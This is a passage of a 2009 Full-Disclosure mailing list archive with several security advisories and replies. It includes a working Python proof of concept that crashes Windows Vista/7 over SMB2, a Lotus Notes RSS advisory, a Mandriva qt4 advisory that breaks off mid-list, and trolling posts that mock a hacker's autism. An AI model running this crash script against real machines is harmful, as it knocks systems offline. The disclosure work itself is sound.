>
>> doesn't chrome already run any single tab in a sandbox?
>>
>> http://dev.chromium.org/developers/design-documents/sandbox
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090907/bd178019/attachment.html 

From laurent.gaffie at gmail.com  Tue Sep  8 02:50:10 2009
From: laurent.gaffie at gmail.com (laurent gaffie)
Date: Mon, 7 Sep 2009 21:50:10 -0400
Subject: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL
	REQUEST Remote B.S.O.D.
Message-ID: <4b13609c0909071850j63162145s70e807f0c5d0b6da@mail.gmail.com>

=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffi?
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See:
http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

III. DESCRIPTION
-------------------------
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL
REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB
server, and it's used
to identify the SMB dialect that will be used for futher communication.

IV. PROOF OF CONCEPT
-------------------------

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash without no user interaction, any Vista/Windows
7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server
2008
as it use the same SMB2.0 driver (not tested).

VII. SOLUTION
-------------------------
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VIII. REFERENCES
-------------------------
http://microsoft.com

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffi?
Laurent.gaffie{remove-this}(at)gmail.com
http://g-laurent.blogspot.com/

X. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090907/fcddd0da/attachment.html 

From dreyer at pandas.es  Tue Sep  8 11:35:51 2009
From: dreyer at pandas.es (dreyer)
Date: Tue, 8 Sep 2009 12:35:51 +0200
Subject: [Full-disclosure] DefCon 17 CTF packet captures online
In-Reply-To: <20090907074126.GJ14104@nosneros.net>
References: <20090907074126.GJ14104@nosneros.net>
Message-ID: <135f98c80909080335x1381b954g739668d8dd086594@mail.gmail.com>

What about the promised CTF stats? :)

Cheers,

2009/9/7 Holt Sorenson <hso at nosneros.net>

> We have just finished the last bits in getting the DefCon
> 17 CTF packet captures online. Snag them from:
>
> http://ddtek.biz/
>
> <3 ur sheep and mom too,
> ddtek
>
> --
> Holt Sorenson
> hso at nosneros.net
> www.nosneros.net/hso
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
dreyer at pandas.es
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090908/0037befd/attachment.html 

From Thierry at Zoller.lu  Tue Sep  8 11:46:40 2009
From: Thierry at Zoller.lu (Thierry Zoller)
Date: Tue, 8 Sep 2009 12:46:40 +0200
Subject: [Full-disclosure] Microsoft Internet Information Server ftpd
	zeroday
In-Reply-To: <72f8221d0908310434p54cf96bbw62bbcc7f733b69aa@mail.gmail.com>
References: <72f8221d0908310434p54cf96bbw62bbcc7f733b69aa@mail.gmail.com>
Message-ID: <546598114.20090908124640@Zoller.lu>

Hi Kingcope,

Thanks to a hint by "Petar" on the G-SEC blog [1] it  appears
that the  very same bug was present in IIS3 and IIS4 and discovered
by eeye in 1999 :
http://research.eeye.com/html/advisories/published/AD19990124.html

"Microsoft  IIS  (Internet  Information Server) FTP service contains a
buffer overflow in the NLST command. This could be used to DoS a remote
machine and in some cases execute code remotely."

Is this the same bug andwas the bug re-introduced ? Has Microsoft
fixed  LS  but  not NLST?  "svn" mishap ?

Maybe Mudge and/or Dildog can comment - would certainly be interesting
to know whether and if HOW this bug was reintroduced.

[1] http://blog.g-sec.lu/2009/09/iis-5-iis-6-ftp-vulnerability.html

Regards,
Thierry ZOLLER

--
http://blog.zoller.lu




From maru at scip.ch  Tue Sep  8 11:37:49 2009
From: maru at scip.ch (Marc Ruef)
Date: Tue, 8 Sep 2009 12:37:49 +0200
Subject: [Full-disclosure] [scip_Advisory 4021] IBM Lotus Notes 8.5 RSS
	Widget Privilege Escalation
Message-ID: <5F9D803B30A8E4418166E637D50E9E2A2E4F10@miraculix.scip.ch>

IBM Lotus Notes 8.5 RSS Widget Privilege Escalation

scip AG Vulnerability ID 4021 (09/08/2009)
http://www.scip.ch/?vuldb.4021

I. INTRODUCTION

Lotus Notes is a client-server, collaborative application developed and
sold by IBM Software Group.

More information is available on the official product web site at the
following URL:

http://www.ibm.com/software/lotus/products/notes/

II. DESCRIPTION

Marc Ruef at scip AG found a design vulnerability in the current Release
8.5.

The product provides some widgets which can be added and enabled by the
user. One of those widgets provide a simple RSS reader.

This reader downloads the RSS file, extracts the items and saves them
locally as HTML files.

The interpretation and display of the RSS items is handled by the
Internet Explorer regarding the applied security zone.

III. EXPLOITATION

No exploitation is required. A malicious RSS feed may contain script
data or embedded objects.

IV. IMPACT

The RSS items are handled like web documents which introduces the
possibility of running script code or to embed multimedia objects (e.g.
Flash or movies).

Because locally saved files run in the Local Zone of the Internet
Explorer some privilege escalation is possible.

V. DETECTION

It may be possible to identify malicious RSS feeds if they contain
script code or embedded objects.

VI. SOLUTION

IBM has been informed immediately. They are able to address this
vulnerability with a hotfix.

VII. VENDOR RESPONSE

The vendor verified the existence of the issue and addressed it as soon
as possible with a hotfix. Unfortunately most of the communication
bypassed us and were forced to ask for the current status several times.
Our last request of the current status at 08/24/2009 were unanswered.

VIII. SOURCES

scip AG - Security Consulting Information Process (german)
http://www.scip.ch/

scip AG - Vulnerability Database (german)
http://www.scip.ch/?vuldb.4021

computec.ch Document Database (german)
http://www.computec.ch/download.php

IX. DISCLOSURE TIMELINE

2009/04/07 Identification of the vulnerability.
2009/04/23 Notification of IBM via the customer.
2009/04/23 Technical knowhow exchange between scip AG/IBM.
2009/06/05 Asking for current status by scip AG. (no answer)
2009/07/09 Asking for current status by scip AG.
2009/07/09 Reply with current status and assigned PMR.
2009/08/24 Asking for current status by scip AG. (no answer)
2009/09/08 Public disclosure of the advisory.

X. CREDITS

The vulnerabilities were discovered by Marc Ruef.

Marc Ruef, scip AG, Zuerich, Switzerland
maru-at-scip.ch
http://www.scip.ch

A1. LEGAL NOTICES

Copyright (c) 2002-2009 scip AG, Switzerland.

Permission is granted for the re-distribution of this alert. It may not
be edited in any way without permission of scip AG.

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. There are no
warranties with regard to this information. Neither the author nor the
publisher accepts any liability for any direct, indirect or
consequential loss or damage from use of or reliance on this advisory.


From shadowdong007 at hush.com  Tue Sep  8 12:52:55 2009
From: shadowdong007 at hush.com (Central Security District of UK [MI7.5])
Date: Tue, 08 Sep 2009 11:52:55 +0000
Subject: [Full-disclosure] This is n3td3v and Gary McKinnon's lawyer. My
	client's have asburger syndrome.
Message-ID: <20090908115255.44199B8043@smtp.hushmail.com>

I just go off the phone with intelligence


MI7 and the CIB (Upgraded from CIA++, super savage secret) have 
relayed to me in code that n3td3v security is coming back stronger 
than ever.


Over in Langley we know that n3td3v has the finest security 
tactics. Super fortified servers.

Ultra mega ram.

He is truly one of the most experienced blackhats in all the land. 
He is a master criminal.


In other news, Gary McKinnon, elite pentagon hacker is an autistic 
rockstar:

http://www.youtube.com/watch?v=XcOY0kWQaqc

He's milking the success of his crime, instead apologizing, he's 
gloating. I guess that teaches people hacking is OK.


My name is shadowdong007. Roger wilco.

- Gary McKinnon, CISSP, MD.

"autistic only when I commit crimes, but really me when I'm on TV"

this is not n3td3v - laywyer


From shadowdong007 at hush.com  Tue Sep  8 12:51:31 2009
From: shadowdong007 at hush.com (Central Security District of UK [MI7.5])
Date: Tue, 08 Sep 2009 11:51:31 +0000
Subject: [Full-disclosure] On the subject of security researcher n3td3v,
	Gary McKinnon "Autistic rockstar felon"
Message-ID: <20090908115131.5FD9CB8043@smtp.hushmail.com>

I just go off the phone with intelligence


MI7 and the CIB (Upgraded from CIA++, super sexy savage secret) 
have relayed to me in code that n3td3v security is coming back 
stronger than ever.


Over in Langley we know that n3td3v has the finest security 
tactics. Super fortified servers.

Ultra mega ram.

He is truly one of the most experienced blackhats in all the land. 
He is a master criminal.


In other news, Gary McKinnon, elite pentagon hacker is an autistic 
rockstar:

http://www.youtube.com/watch?v=XcOY0kWQaqc

He's milking the success of his crime, instead apologizing, he's 
gloating. I guess that teaches people hacking is OK.


My name is shadowdong007. Roger wilco.

- Gary McKinnon, CISSP, MD.

"autistic only when I commit crimes, but really me when I'm on TV"

this is not n3td3v - laywyer

this was intelligence reprrte


From security at mandriva.com  Tue Sep  8 17:20:01 2009
From: security at mandriva.com (security at mandriva.com)
Date: Tue, 08 Sep 2009 18:20:01 +0200
Subject: [Full-disclosure] [ MDVSA-2009:225 ] qt4
Message-ID: <E1Ml3QI-0007oA-0x@titan.mandriva.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

 Mandriva Linux Security Advisory                         MDVSA-2009:225
 http://www.mandriva.com/security/
 _______________________________________________________________________

 Package : qt4
 Date    : September 8, 2009
 Affected: 2009.0, 2009.1, Enterprise Server 5.0
 _______________________________________________________________________

 Problem Description:

 A vulnerability has been found and corrected in qt4:
 
 src/network/ssl/qsslcertificate.cpp in Nokia Trolltech Qt 4.x
 does not properly handle a '\0' character in a domain name in the
 Subject Alternative Name field of an X.509 certificate, which allows
 man-in-the-middle attackers to spoof arbitrary SSL servers via a
 crafted certificate issued by a legitimate Certification Authority,
 a related issue to CVE-2009-2408 (CVE-2009-2700).
 
 This update provides a solution to this vulnerability.
 _______________________________________________________________________

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2700
 _______________________________________________________________________

 Updated Packages:

 Mandriva Linux 2009.0:
 8f0b2b07978ce4e9eb86291935b2259c  2009.0/i586/libqassistant4-4.5.2-1.6mdv2009.0.i586.rpm
 e2403dcda9f123b545188aef00cb2114  2009.0/i586/libqt3support4-4.5.2-1.6mdv2009.0.i586.rpm
 51288fb907cc947b3cadd9ab2e33b75b  2009.0/i586/libqt4-devel-4.5.2-1.6mdv2009.0.i586.rpm
 302a8f93453e5d53d7c8a2df82029ffc  2009.0/i586/libqtclucene4-4.5.2-1.6mdv2009.0.i586.rpm
 616c5e49341e9a09d0e8ebe84e02e1cc  2009.0/i586/libqtcore4-4.5.2-1.6mdv2009.0.i586.rpm
 3c83783b3bce0ef1d4272fea4b2b8b63  2009.0/i586/libqtdbus4-4.5.2-1.6mdv2009.0.i586.rpm
 0a5e1e53937d3e283d7a3d4227850e35  2009.0/i586/libqtdesigner4-4.5.2-1.6mdv2009.0.i586.rpm
 33ce1ee1c1cde616895ecef850720000  2009.0/i586/libqtgui4-4.5.2-1.6mdv2009.0.i586.rpm
 94e8c96fbc41bb125a1e3104f552f267  2009.0/i586/libqthelp4-4.5.2-1.6mdv2009.0.i586.rpm
 1370e9cbbdffd1763ac8740fb31505bd  2009.0/i586/libqtnetwork4-4.5.2-1.6mdv2009.0.i586.rpm
 1699327bbe2cf4bef5c9dedb155c3c36  2009.0/i586/libqtopengl4-4.5.2-1.6mdv2009.0.i586.rpm
 ca924316c1e18ad29bdf37f392883f1c  2009.0/i586/libqtscript4-4.5.2-1.6mdv2009.0.i586.rpm
 8fd952c8be0760d7918e6e5693ba32a7  2009.0/i586/libqtscripttools4-4.5.2-1.6mdv2009.0.i586.rpm
 afc2b34155609ac2f390446f7f5bc45b  2009.0/i586/libqtsql4-4.5.2-1.6mdv2009.0.i586.rpm
 345e293c4771e249679801aa750397ca  2009.0/i586/libqtsvg4-4.5.2-1.6mdv2009.0.i586.rpm
 b0e143930f2da815b3fcae1c73a1a70c  2009.0/i586/libqttest4-4.5.2-1.6mdv2009.0.i586.rpm
 2c7474fd309e67fe682e44576b527e0c  2009.0/i586/libqtwebkit4-4.5.2-1.6mdv2009.0.i586.rpm
 b19c8107575a0818ecbe19dae9028ef0  2009.0/i586/libqtxml4-4.5.2-1.6mdv2009.0.i586.rpm
 1540b82f62f29d8e9f46df23e5b7f786  2009.0/i586/libqtxmlpatterns4-4.5.2-1.6mdv2009.0.i586.rpm
 a243614d06b6aa0aec46b6263bdde420  2009.0/i586/qt4-accessibility-plugin-4.5.2-1.6mdv2009.0.i586.rpm
 11c894ba3a91e7c2e1ebc0c194c9aaae  2009.0/i586/qt4-assistant-4.5.2-1.6mdv2009.0.i586.rpm
 40a9530b2ed55545036ee30ce5109069  2009.0/i586/qt4-common-4.5.2-1.6mdv2009.0.i586.rpm
 28fd5f52ebd0f1b47975aaabc6a69ea1  2009.0/i586/qt4-database-plugin-mysql-4.5.2-1.6mdv2009.0.i586.rpm
 6e315a67b9e061027b7ec252cfb2085b  2009.0/i586/qt4-database-plugin-odbc-4.5.2-1.6mdv2009.0.i586.rpm
 80e679cde6b34b8ba063cf0d36b198eb  2009.0/i586/qt4-database-plugin-pgsql-4.5.2-1.6mdv2009.0.i586.rpm
 b613b53004865d81b54f7c11a403a529  2009.0/i586/qt4-database-plugin-sqlite-4.5.2-1.6mdv2009.0.i586.rpm
 f97d447b97bfd68d59d0eb28064f7213  2009.0/i586/qt4-database-plugin-tds-4.5.2-1.6mdv2009.0.i586.rpm
 c9c9e0a3230ba751c7eebeacc44d906d  2009.0/i586/qt4-designer-4.5.2-1.6mdv2009.0.i586.rpm
 cf2435679fa0066b6ae95a4dad6c0fda  2009.0/i586/qt4-doc-4.5.2-1.6mdv2009.0.i586.rpm
 933137e640637b6fa7ea5b5a6257a9ca  2009.0/i586/qt4-examples-4.5.2-1.6mdv2009.0.i586.rpm
 6e080be6a767a58323c845521d8eef9a  2009.0/i586/qt4-graphicssystems-plugin-4.5.2-1.6mdv2009.0.i586.rpm
 70f84dbe081843b0fa9c4b07b517b7a8  2009.0/i586/qt4-linguist-4.5.2-1.6mdv2009.0.i586.rpm
 8082bc18d3183654f64c0bba0933de93  2009.0/i586/qt4-qdoc3-4.5.2-1.6mdv2009.0.i586.rpm
 b77fb9a4915ee16eb07a2c7a82069a7a  2009.0/i586/qt4-qtconfig-4.5.2-1.6mdv2009.0.i586.rpm
 b2b4fb545fcaf96de26ea8618f507eb9  2009.0/i586/qt4-qtdbus-4.5.2-1.6mdv2009.0.i586.rpm
 ca7d917f2442e9ff1665b224e834d9e2  2009.0/i586/qt4-qvfb-4.5.2-1.6mdv2009.0.i586.rpm
 840c3cd230194546f0277fb0314fe31b  2009.0/i586/qt4-xmlpatterns-4.5.2-1.6mdv2009.0.i586.rpm 
 e7d70d53a8a870ba2b938c754dc58379  2009.0/SRPMS/qt4-4.5.2-1.6mdv2009.0.src.rpm

 Mandriva Linux 2009.0/X86_64:
 f9ceffb25a3dd3e2fff7520eb024b413  2009.0/x86_64/lib64qassistant4-4.5.2-1.6mdv2009.0.x86_64.rpm
 ff62476ae9bc5124c3b77ccd6b8e4dfb  2009.0/x86_64/lib64qt3support4-4.5.2-1.6mdv2009.0.x86_64.rpm
 e05a185eae6d1155404ebdca47228298  2009.0/x86_64/lib64qt4-devel-4.5.2-1.6mdv2009.0.x86_64.rpm
 34f026834954176924b8ceaa07402d94  2009.0/x86_64/lib64qtclucene4-4.5.2-1.6mdv2009.0.x86_64.rpm
 3417707e32fd86d56e3eddb11cc8adfc  2009.0/x86_64/lib64qtcore4-4.5.2-1.6mdv2009.0.x86_64.rpm
 f73849389ac56f6aeba0a99b51f78bd1  2009.0/x86_64/lib64qtdbus4-4.5.2-1.6mdv2009.0.x86_64.rpm
 a98754a5f9162f3dbf6ae02b3a4fc326  2009.0/x86_64/lib64qtdesigner4-4.5.2-1.6mdv2009.0.x86_64.rpm
 49833997afdfb052f8bb433f7414b759  2009.0/x86_64/lib64qtgui4-4.5.2-1.6mdv2009.0.x86_64.rpm
 474c0f0f7f1482fb97224426a83cbca0  2009.0/x86_64/lib64qthelp4-4.5.2-1.6mdv2009.0.x86_64.rpm
 a88ccb8f38dc94d9285f7c1ba1f59abb  2009.0/x86_64/lib64qtnetwork4-4.5.2-1.6mdv2009.0.x86_64.rpm
 d5c2fd9e3505e1176ad330fcc7b69c7a  2009.0/x86_64/lib64qtopengl4-4.5.2-1.6mdv2009.0.x86_64.rpm
 0de7a8ace4b49919ac0ccc8c5e8d332f  2009.0/x86_64/lib64qtscript4-4.5.2-1.6mdv2009.0.x86_64.rpm
 7ce2aba490bd9f7520fbdb25dbe5b2ca  2009.0/x86_64/lib64qtscripttools4-4.5.2-1.6mdv2009.0.x86_64.rpm
 4334eb5e253f3fdd5e1dd9d993711078  2009.0/x86_64/lib64qtsql4-4.5.2-1.6mdv2009.0.x86_64.rpm
 94684fb18dd38cf1d3f2a0c3d2350b4a  2009.0/x86_64/lib64qtsvg4-4.5.2-1.6mdv2009.0.x86_64.rpm
 49c34a46d085d4eab5915cfb01c0b0c6  2009.0/x86_64/lib64qttest4-4.5.2-1.6mdv2009.0.x86_64.rpm
 e3a49c9ac1c0fb5be354d40b151cef8f  2009.0/x86_64/lib64qtwebkit4-4.5.2-1.6mdv2009.0.x86_64.rpm
 9edb5e5d6bfbe11f4da5267426555982  2009.0/x86_64/lib64qtxml4-4.5.2-1.6mdv2009.0.x86_64.rpm
 788f9e76148b2d8b6aab85c180c9ef2a  2009.0/x86_64/lib64qtxmlpatterns4-4.5.2-1.6mdv2009.0.x86_64.rpm
 69b48fbeee815b383073f03363e34a0a  2009.0/x86_64/qt4-accessibility-plugin-4.5.2-1.6mdv2009.0.x86_64.rpm
 32142e9e15fc02141839f6e145285543  2009.0/x86_64/qt4-assistant-4.5.2-1.6mdv2009.0.x86_64.rpm
 150e2512211462927f33247184f11e7e  2009.0/x86_64/qt4-common-4.5.2-1.6mdv2009.0.x86_64.rpm
 e5a17b66d70cc77dcbe8364da87269b9  2009.0/x86_64/qt4-database-plugin-mysql-4.5.2-1.6mdv2009.0.x86_64.rpm
 7cc2aa658afa85304b3a4c4312e20ad6  2009.0/x86_64/qt4-database-plugin-odbc-4.5.2-1.6mdv2009.0.x86_64.rpm
 ce73ffa95481ae312e4274d1976e2e7e  2009.0/x86_64/qt4-database-plugin-pgsql-4.5.2-1.6mdv2009.0.x86_64.rpm
 d1321f0a1c177b84d06e158eac15a435  2009.0/x86_64/qt4-database-plugin-sqlite-4.5.2-1.6mdv2009.0.x86_64.rpm
 b49fc0f5a0da1c9b539bba4d2df07005  2009.0/x86_64/qt4-database-plugin-tds-4.5.2-1.6mdv2009.0.x86_64.rpm
 1c16661643343b9b3b2ddd3e44b4b707  2009.0/x86_64/qt4-designer-4.5.2-1.6mdv2009.0.x86_64.rpm
 373a3af8447e53de328fd5cc5876988d  2009.0/x86_64/qt4-doc-4.5.2-1.6mdv2009.0.x86_64.rpm
 59cb1a04ecfbdd1aeff294d9663ba900  2009.0/x86_64/qt4-examples-4.5.2-1.6mdv2009.0.x86_64.rpm
 9f8cc6a94247dfc0abf80bb10307c3e8  2009.0/x86_64/qt4-graphicssystems-plugin-4.5.2-1.6mdv2009.0.x86_64.rpm
 cb45f4b26814ea8b3ab6181a50c72f22  2009.0/x86_64/qt4-linguist-4.5.2-1.6mdv2009.0.x86_64.rpm
 e13be65ed2912ebb064c86d9aa55c4f0  2009.0/x86_64/qt4-qdoc3-4.5.2-1.6mdv2009.0.x86_64.rpm
 6833ef669f7448ee47e4f399ed5e8c0b  2009.0/x86_64/qt4-qtconfig-4.5.2-1.6mdv2009.0.x86_64.rpm
 71029609bd89ac503875cfb7c70ffb45  2009.0/x86_64/qt4-qtdbus-4.5.2-1.6mdv2009.0.x86_64.rpm
 84701ed7926e276a4f960432e3b376c6  2009.0/x86_64/qt4-qvfb-4.5.2-1.6mdv2009.0.x86_64.rpm
 d8188e6b55ee4477558bcf37aa348b22  2009.0/x86_64/qt4-xmlpatterns-4.5.2-1.6mdv2009.0.x86_64.rpm 
 e7d70d53a8a870ba2b938c754dc58379  2009.0/SRPMS/qt4-4.5.2-1.6mdv2009.0.src.rpm

 Mandriva Linux 2009.1:
 2e2ab90686768ad3332604dfee629e93  2009.1/i586/libqassistant4-4.5.2-1.4mdv2009.1.i586.rpm
 8535d83b511c66a59c9152995afacbf4  2009.1/i586/libqt3support4-4.5.2-1.4mdv2009.1.i586.rpm
 61dd3bcdef9e0250d5a8a3e8a75a7b1b  2009.1/i586/libqt4-devel-4.5.2-1.4mdv2009.1.i586.rpm
 297c603db7184971d533c3edc0e4314c  2009.1/i586/libqtclucene4-4.5.2-1.4mdv2009.1.i586.rpm
 f7043105bc3bf97166a9e5898f41cee0  2009.1/i586/libqtcore4-4.5.2-1.4mdv2009.1.i586.rpm
 1ecae69d52815b033c973a8f55fff26f  2009.1/i586/libqtdbus4-4.5.2-1.4mdv2009.1.i586.rpm
 14bd0c6ebdc10c9208968246d3ddc8e1  2009.1/i586/libqtdesigner4-4.5.2-1.4mdv2009.1.i586.rpm
 0366ccc7475139e96622ebc20e09a645  2009.1/i586/libqtgui4-4.5.2-1.4mdv2009.1.i586.rpm
 31a16c4dae404ef7e06fde024e96b2e6  2009.1/i586/libqthelp4-4.5.2-1.4mdv2009.1.i586.rpm
 5ada32f6e70d288fe179b1ab42d4a398  2009.1/i586/libqtnetwork4-4.5.2-1.4mdv2009.1.i586.rpm
 b04f16a4b050d460413cbd76d98eed48  2009.1/i586/libqtopengl4-4.5.2-1.4mdv2009.1.i586.rpm
 7baa68c4abc646c76a2d3ae5bca141b4  2009.1/i586/libqtscript4-4.5.2-1.4mdv2009.1.i586.rpm
 7985c1a4a878a723ad2ebfb6241f60b2  2009.1/i586/libqtscripttools4-4.5.2-1.4mdv2009.1.i586.rpm
 58eeda1ce05925c0b3cab904db3f25a7  2009.1/i586/libqtsql4-4.5.2-1.4mdv2009.1.i586.rpm
 d99e31623b92731a5cb8523c6294b26f  2009.1/i586/libqtsvg4-4.5.2-1.4mdv2009.1.i586.rpm
 8530af45ed10f1f3ab0c0134d6162089  2009.1/i586/libqttest4-4.5.2-1.4mdv2009.1.i586.rpm
 bc7276c87cc3e820092220a165fd712c  2009.1/i586/libqtwebkit4-4.5.2-1.4mdv2009.1.i586.rpm
 d8d1672097abf788e33839b052502db7  2009.1/i586/libqtxml4-4.5.2-1.4mdv2009.1.i586.rpm
 60f2b738a748c9a6940d170fe3d55fbd  2009.1/i586/libqtxmlpatterns4-4.5.2-1.4mdv2009.1.i586.rpm
 707148f3de734413d332f15834befab1  2009.1/i586/qt4-accessibility-plugin-4.5.2-1.4mdv2009.1.i586.rpm
 1030cc7be0bd49c2fdbc4f504a4cfc34  2009.1/i586/qt4-assistant-4.5.2-1.4mdv2009.1.i586.rpm
 ba55040d9da2653c2cd874cc310deacd  2009.1/i586/qt4-common-4.5.2-1.4mdv2009.1.i586.rpm
 1c16bc98468323b4325b5c2a7246b5fa  2009.1/i586/qt4-database-plugin-mysql-4.5.2-1.4mdv2009.1.i586.rpm
 4893d62ce7c8fab073986df4044a9104  2009.1/i586/qt4-database-plugin-odbc-4.5.2-1.4mdv2009.1.i586.rpm
 c5fdd4a8a13263f207e093578ed7b04f  2009.1/i586/qt4-database-plugin-pgsql-4.5.2-1.4mdv2009.1.i586.rpm
 259be796e5410d370c4de6eaa5fbd8f2  2009.1/i586/qt4-database-plugin-sqlite-4.5.2-1.4mdv2009.1.i586.rpm
 36572044c13cc085969d7613c476984d  2009.1/i586/qt4-database-plugin-tds-4.5.2-1.4mdv2009.1.i586.rpm
 b3efeae677ee698460c262eeb89155e1  2009.1/i586/qt4-designer-4.5.2-1.4mdv2009.1.i586.rpm
 f6abc26faf180e0f01471183e9eb1360  2009.1/i586/qt4-doc-4.5.2-1.4mdv2009.1.i586.rpm
 85d63d0a1d807733cec89b44b8726b6c  2009.1/i586/qt4-examples-4.5.2-1.4mdv2009.1.i586.rpm
 d861c9c37090a5dc54a8b9f47bcd85e9  2009.1/i586/qt4-graphicssystems-plugin-4.5.2-1.4mdv2009.1.i586.rpm
 fa8be490f70fbdbcabcaa5dcd8fbe8e6  2009.1/i586/qt4-linguist-4.5.2-1.4mdv2009.1.i586.rpm
 611e52f298cbd663d4817471d5ec6649  2009.1/i586/qt4-qdoc3-4.5.2-1.4mdv2009.1.i586.rpm
 376e4a78a53a6d19aec23cc6fe4d02e6  2009.1/i586/qt4-qtconfig-4.5.2-1.4mdv2009.1.i586.rpm
 f544cfb1ae089a636d326c1a16d49a8b  2009.1/i586/qt4-qtdbus-4.5.2-1.4mdv2009.1.i586.rpm
 4d5426eea7ff3b5d9d482e8e0564e259  2009.1/i586/qt4-qvfb-4.5.2-1.4mdv2009.1.i586.rpm
 b36c895e5b1a142c80ba069deca27326  2009.1/i586/qt4-xmlpatterns-4.5.2-1.4mdv2009.1.i586.rpm 
 ba2b427b637644c9e2ae052e440db3ca  2009.1/SRPMS/qt4-4.5.2-1.4mdv2009.1.src.rpm

 Mandriva Linux 2009.1/X86_64:
 309cb9e93730dac6e68c2aceedca6228  2009.1/x86_64/lib64qassistant4-4.5.2-1.4mdv2009.1.x86_64.rpm
 50251a9f53d698bd4ec409482fceece6  2009.1/x86_64/lib64qt3support4-4.5.2-1.4mdv2009.1.x86_64.rpm
 c75df0fbfc405667184efe4914d6700e  2009.1/x86_64/lib64qt4-devel-4.5.2-1.4mdv2009.1.x86_64.rpm
 d4747541bf506775a4b3dad05752ed89  2009.1/x86_64/lib64qtclucene4-4.5.2-1.4mdv2009.1.x86_64.rpm
 0fbf6ba9b02e6f0443b3f339d7cf88be  2009.1/x86_64/lib64qtcore4-4.5.2-1.4mdv2009.1.x86_64.rpm
 2702f5810e04d265fc32f34acf9f7a2b  2009.1/x86_64/lib64qtdbus4-4.5.2-1.4mdv2009.1.x86_64.rpm
 5b28ffd5773a937eef1475f8a7830dc6  2009.1/x86_64/lib64qtdesigner4-4.5.2-1.4mdv2009.1.x86_64.rpm
 05fc9bdb0a43260b0abc2cd11fd110ef  2009.1/x86_64/lib64qtgui4-4.5.2-1.4mdv2009.1.x86_64.rpm
 37416362357074d38f7f65e185cc1f2c  2009.1/x86_64/lib64qthelp4-4.5.2-1.4mdv2009.1.x86_64.rpm
 141d620b08d76178b97e6b23d817da89  2009.1/x86_64/lib64qtnetwork4-4.5.2-1.4mdv2009.1.x86_64.rpm
 5f1cbb6f37664d6796bd481bdbb68c6c  2009.1/x86_64/lib64qtopengl4-4.5.2-1.4mdv2009.1.x86_64.rpm
 0a253e802e32372098197cf61a73c47f  2009.1/x86_64/lib64qtscript4-4.5.2-1.4mdv2009.1.x86_64.rpm
 e771cdd2158872e3fc67f614ca761df5  2009.1/x86_64/lib64qtscripttools4-4.5.2-1.4mdv2009.1.x86_64.rpm
 71cf257490930dbab7e318dd4895ba65  2009.1/x86_64/lib64qtsql4-4.5.2-1.4mdv2009.1.x86_64.rpm
 f9f399a96211e86abc99b60a34646c27  2009.1/x86_64/lib64qtsvg4-4.5.2-1.4mdv2009.1.x86_64.rpm
 cbf1ad93a0ba4b08d19a4c5387247c6c  2009.1/x86_64/lib64qttest4-4.5.2-1.4mdv2009.1.x86_64.rpm
 496e439949045d6406ad6ed112dc9ad9  2009.1/x86_64/lib64qtwebkit4-4.5.2-1.4mdv2009.1.x86_64.rpm
